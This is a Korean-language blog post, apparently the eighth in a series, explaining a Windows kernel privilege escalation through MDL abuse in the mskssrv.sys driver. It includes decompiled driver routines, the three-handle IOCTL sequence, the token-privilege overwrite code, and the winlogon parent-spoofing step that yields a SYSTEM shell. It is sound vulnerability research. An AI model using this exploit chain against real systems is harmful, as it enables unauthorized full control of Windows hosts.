CreateFile()로 장치(여기서는mskssrv.sys)를 열면, 커널 I/O 관리자는 해당 Handle에 대응하는FILE_OBJECT를 생성합니다.
FsContext2는FILE_OBJECT안에서 드라이버가 Handle별 상태를 연결해 두는 필드입니다. 이 드라이버는 여기에 자신이 생성한 커널 객체인FSStreamReg의 주소를 저장합니다.
FsContext2는 드라이버가 Handle별 Context를 저장하는 공간입니다. 같은 Device를 여러 번 열면 Handle마다 별도의 FILE_OBJECT가 생성되기 때문에, 서로 다른 FsContext2 상태를 만들 수 있습니다!
DeviceH1 → FILE_OBJECT #1 → FsContext2 #1
DeviceH2 → FILE_OBJECT #2 → FsContext2 #2
DeviceH3 → FILE_OBJECT #3 → FsContext2 #3
이후 PublishTx()는 이 FsContext2를 읽고 현재 Handle이 유효한 Stream에 연결되어 있는지 확인합니다.
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
// Validate input buffer
data = (__int64)irp->AssociatedIrp.MasterIrp;
if (!data)
return 0xC000000D;
inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;
if ((unsigned int)inputbufferlen < 0xB0)
return 0xC000000D;
cnt = *(_DWORD *)(data + 0x20);
if (cnt - 1 > 0x12B ||
*(_DWORD *)(data + 0x24) > cnt ||
inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0)
return 0xC000000D;
FSRendezvousServer::Lock(this);
FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
// [*] Find the "FsContext2" is in the FSRendezvousServer object
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if (isfindobj)
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2); // Lock FsStreamReg
// [8]. Call FSStreamReg::PublishTx
result = FSStreamReg::PublishTx(FsContext2, data);
그리고 여기서 Input Buffer의 크기와 Frame 개수를 확인한 뒤에, 현재 Handle의 FsContext2를 가져와서 Rendezvous Server 안에 등록된 객체인지 FindObject()로 검사합니다.
이 검사를 통과해야 실제 취약 경로인 FSStreamReg::PublishTx()가 호출됩니다. 즉, InitializeStream()은 PublishTx가 사용할 Stream Context를 Handle에 연결하는 역할을 하는 것이죠.
RegisterStream()과 별도 Handle
이 상태에서 ConsumeTx()경로까지 접근하려면, Consumer Stream도 미리 등록을 해야 합니다. 이 역할을 수행하는 IOCTL은 RegisterStream()인 0x2F0420인데요.
__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2)
{
obj = a2->Tail.Overlay.CurrentStackLocation;
// [12]. Check obj->FileObject->FsContext2 is NULL
if (obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2)
return 0xC0000010;
data = (__int64)a2->AssociatedIrp.MasterIrp;
// call FSStreamReg::Register
if ((unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled())
v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
else
v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
RegisterStream()은 호출한 Handle의 FsContext2가 NULL인지 확인합니다.
그런데 앞서 본 InitializeStream() 코드를 확인해보면 실행 후에 해당 Handle의 FsContext2에 이미 FSStreamReg 주소를 저장하는 것을 알 수 있는데요. 반면 RegisterStream()은 호출한 Handle의 FsContext2가 비어 있어야 하므로, 두 IOCTL을 하나의 Handle에서 연속으로 수행하면 조건이 충돌할 수 있습니다.😰 그렇다면 어떻게 충돌 없이 PublishTx()와 ConsumeTx() 두 경로에 진입을 할 수 있을까요?
답은 Handle을 여러 개 생성하는 것입니다. Exploit에 사용한 Proof of Concept에서는 세 개의 Device Handle을 열어서 역할을 분리했습니다.
DeviceH1
InitializeContextRendezvous
DeviceH2
InitializeStream
DeviceH3
RegisterStream
PublishTx
ConsumeTx
세 개의 Handle을 사용하는 것이 유일한 방법은 아닐 수 있지만, 이번 exploit에서는 서로 충돌하는 Handle별 FILE_OBJECT→FsContext2 상태를 분리하고, 각 IOCTL의 역할을 명확히 하기 위해 Handle 세 개를 사용했습니다.
FSInitializeContextRendezvous(DeviceH1);
FSInitializeStream(DeviceH2);
FSRegisterStream(DeviceH3);
PublishTx(DeviceH3, privaddr);
ConsumeTx(DeviceH3, &mappedAddress);
Handle의 호출 순서도 중요한데, PublishTx 시점에는 Publisher와 Consumer 상태가 모두 준비되어 있어야 합니다. 따라서 Rendezvous 초기화 → Publisher Stream 초기화 → Consumer Stream 등록 → PublishTx → ConsumeTx 순서로 exploit을 구성하면 됩니다.
2.3 Kernel Memory R/W Primitive
앞의 준비 과정을 거치면 드디어 PublishTx에서 생성한 MDL을 ConsumeTx로 꺼내 유저모드에 매핑할 수 있습니다. 이제 Root Cause가 실제 Kernel Memory R/W Primitive로 이어지는 과정을 살펴보겠습니다.
MDL과 Page Lock
지난 7편에서 알아봤던 MDL 생성 흐름을 잠시나마 한번 복기해봅시다. MDL은 특정 가상 주소 범위가 어떤 물리 페이지들로 기술하는 커널 구조체라고 했죠?
PMDL mdl = IoAllocateMdl(
address,
size,
FALSE,
FALSE,
nullptr
);
MmProbeAndLockPages(
mdl,
UserMode,
IoWriteAccess
);
일반적인 처리 흐름은, IoAllocateMdl()을 통해 MDL을 생성하고, MmProbeAndLockPages()를 통해 Page Lock한다고 했습니다. 이때 IoAllocateMdl()은 Address와 Size를 설명하는 MDL 구조체를 생성하지만, 중요한 점은 이 시점에서 Page가 아직 물리 메모리에 고정되지 않은 상태라는 것입니다.
이후 실제 Address 검증과 Page Lock이 MmProbeAndLockPages()에서 수행되는데, 이 함수는 가상 주소에 대응하는 일종의 물리 페이지 번호인 PFN을 구하고, I/O가 완료될 때까지 페이지가 메모리에서 사라지지 않도록 고정합니다.
이후 MmMapLockedPagesSpecifyCache()를 거치면서 MDL이 설명하는 같은 물리 페이지를 새로운 가상 주소에 매핑할 수 있게 됩니다.
Kernel VA ── Page Table ── PFN X
↑
User VA ── Page Table ───┘
즉, Kernel VA와 User VA는 서로 다른 주소를 가지고 있지만 같은 PFN을 가리키므로, User VA에 기록한 값이 커널 메모리에 그대로 반영되는 메커니즘을 가지고 있습니다.
ConsumeTx()에서 User Mapping 생성
이제 ConsumeTx() 흐름을 자세하게 확인해볼 차례인데요. ConsumeTx()는 먼저 FSStreamReg 상태 Flag를 확인하고, Published List에서 FSFrameMdl을 꺼내서 MapPages()로 전달합니다.
__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data)
{
if (!data || !*(_DWORD *)(data + 0x20))
return (unsigned int)-1073741811;
// [9]. Check the flag in FsStreamReg Object
if ((unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() && (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)))
{
return 0xC0000466;
}
*(_DWORD *)(data + 0x24) = 0;
list = (_QWORD *)(FsStreamReg + 0x110);
if ((_QWORD *)*list != list) // Check List is Empty
{
while (1)
{
// [10]. Get FsFrameMdl from Published List
FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));
...
// [11]. Map the FsFrameMdl to User Memory
result = FSFrameMdl::MapPages(
FsFrameMdl,
*(struct _EPROCESS **)(FsStreamReg + 0x38),
*(struct _EPROCESS **)(FsStreamReg + 0x40),
(struct FSMemoryStream *)(136 * v10 + data + 0x28));
...
// Add FsFrameMdl to Consumed List
FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);
여기서 FSStreamReg + 0x28과 FSStreamReg + 0x2C 상태값을 검사하는데, 앞서 InitializeStream()과 RegisterStream()이 필요한 이유가 이 조건과 연결되는 걸 알 수 있습니다.
그렇게 검사를 통과하면 Published List에서는 FSFrameMdl 객체를 꺼내 FSFrameMdl::MapPages()에 전달합니다. 그리고 내부에서는 MDL이 설명하는 물리페이지를 유저모드 주소공간에 매핑합니다.
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus,
IOCTL_ConsumeTx,
Inbuffer, sizeof(ConsumeTxOut),
Inbuffer, sizeof(ConsumeTxOut));
if (NT_SUCCESS(status))
{
memcpy(&inbuffer, Inbuffer, 0x68);
*Addr = inbuffer.PageVaAddressRW;
return TRUE;
}
PageVaAddressRW는 PublishTx()에 전달한 가상 커널 주소와 같은 물리 페이지를 가리키는 새로운 가상 유저 주소인데요. ConsumeTx의 Output Buffer에서 PageVaAddressRW를 가져오면, 이를 통해 기록한 값이 Kernel Object에도 그대로 반영됩니다.
2.4 Token Privilege 수정과 SYSTEM Shell
Token Page를 대상으로 한 Exploit
이제 실제로 Token Privilege를 수정해 보겠습니다. 실습 환경인 Windows 11 22H2 22621.963을 기준으로, 먼저 NtQuerySystemInformation(SystemHandleInformation)으로 현재 Process Token의 Kernel Virtual Address를 구합니다.
if (e->UniqueProcessId == pid && e->HandleValue == tokenHandleVal)
{
tokenAddress = (uint64_t)e->Object;
break;
}
현재 타겟 빌드 환경을 기준으로 _SEP_TOKEN_PRIVILEGES가 _TOKEN + 0x40에 위치했으므로, 수정할 주소를 uint64_t privaddr = tokenAddress + OFFSET_OF_TOKEN_PRIVILEGES;으로 계산했습니다.
이후 작성한 PublishTx()는 해당 주소를 virtualAddress2와 virtualAddress3에 넣습니다.
inbuffer.virtualAddress2 = TokenAddr; // RW page → token privileges
inbuffer.size1 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
inbuffer.virtualAddress3 = TokenAddr; // R page
inbuffer.size2 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
inbuffer.flag = 0x10000000; // RW mapping flag
inbuffer.Priority = 0x00000004;
_SEP_TOKEN_PRIVILEGES 수정 및 SYSTEM Shell 생성
반환되는 Kernel VA와 User VA는 숫자는 다르지만 같은 물리 페이지를 가리키는 상태가 됩니다. 이후 User Mapping의 첫 0x10바이트를 0xFF로 덮어 현재 프로세스 Token의 Present와 Enabled Privilege Bitmap을 모두 활성화합니다.
memset(mappedAddress, 0xFF, 0x10);
활성화된 Privilege를 이용해 winlogon.exe를 PROCESS_ALL_ACCESS로 열고, 해당 프로세스를 cmd.exe의 Parent Process로 지정하면..?

(딸깍)

긴 여정의 끝에 SYSTEM EoP에 성공하게 되었습니다. (ㅎㅎ)
3. Outro

이번 글에서는 커널 관점에서 Renderer에서 Kernel EoP를 직접 실행하는 방식을 알아보고, mskssrv.sys의 MDL Abuse를 통해 Medium IL에서 SYSTEM Process까지 연결하는 마지막 과정을 완성했습니다.
그동안 Chrome Renderer RCE, Chrome Sandbox Escape, Windows Kernel LPE 까지 먼 길을 함께 달려와주셔서 감사합니다. 또한 긴 시간동안 도닦기를 함께 해주시고 노고를 다해주신 도닦기 사부님들께 감사의 인사를 드리고 싶습니다.🙂↕️
다만 조금만 더 기다려주세요! 아직 끝이 아닙니다. 다음 9편에서는 그동안 글을 작성해주신 분들이 모두 모여 소감을 나누고, 도닦기 시리즈의 마지막 이야기를 전해드릴 예정이니 많은 관심 부탁드립니다.
그럼 다음 글에서 만나요!
Reference.
https://theori.io/blog/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system
https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/
https://starlabs.sg/blog/2025/07-fooling-the-sandbox-a-chrome-atic-escape/
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.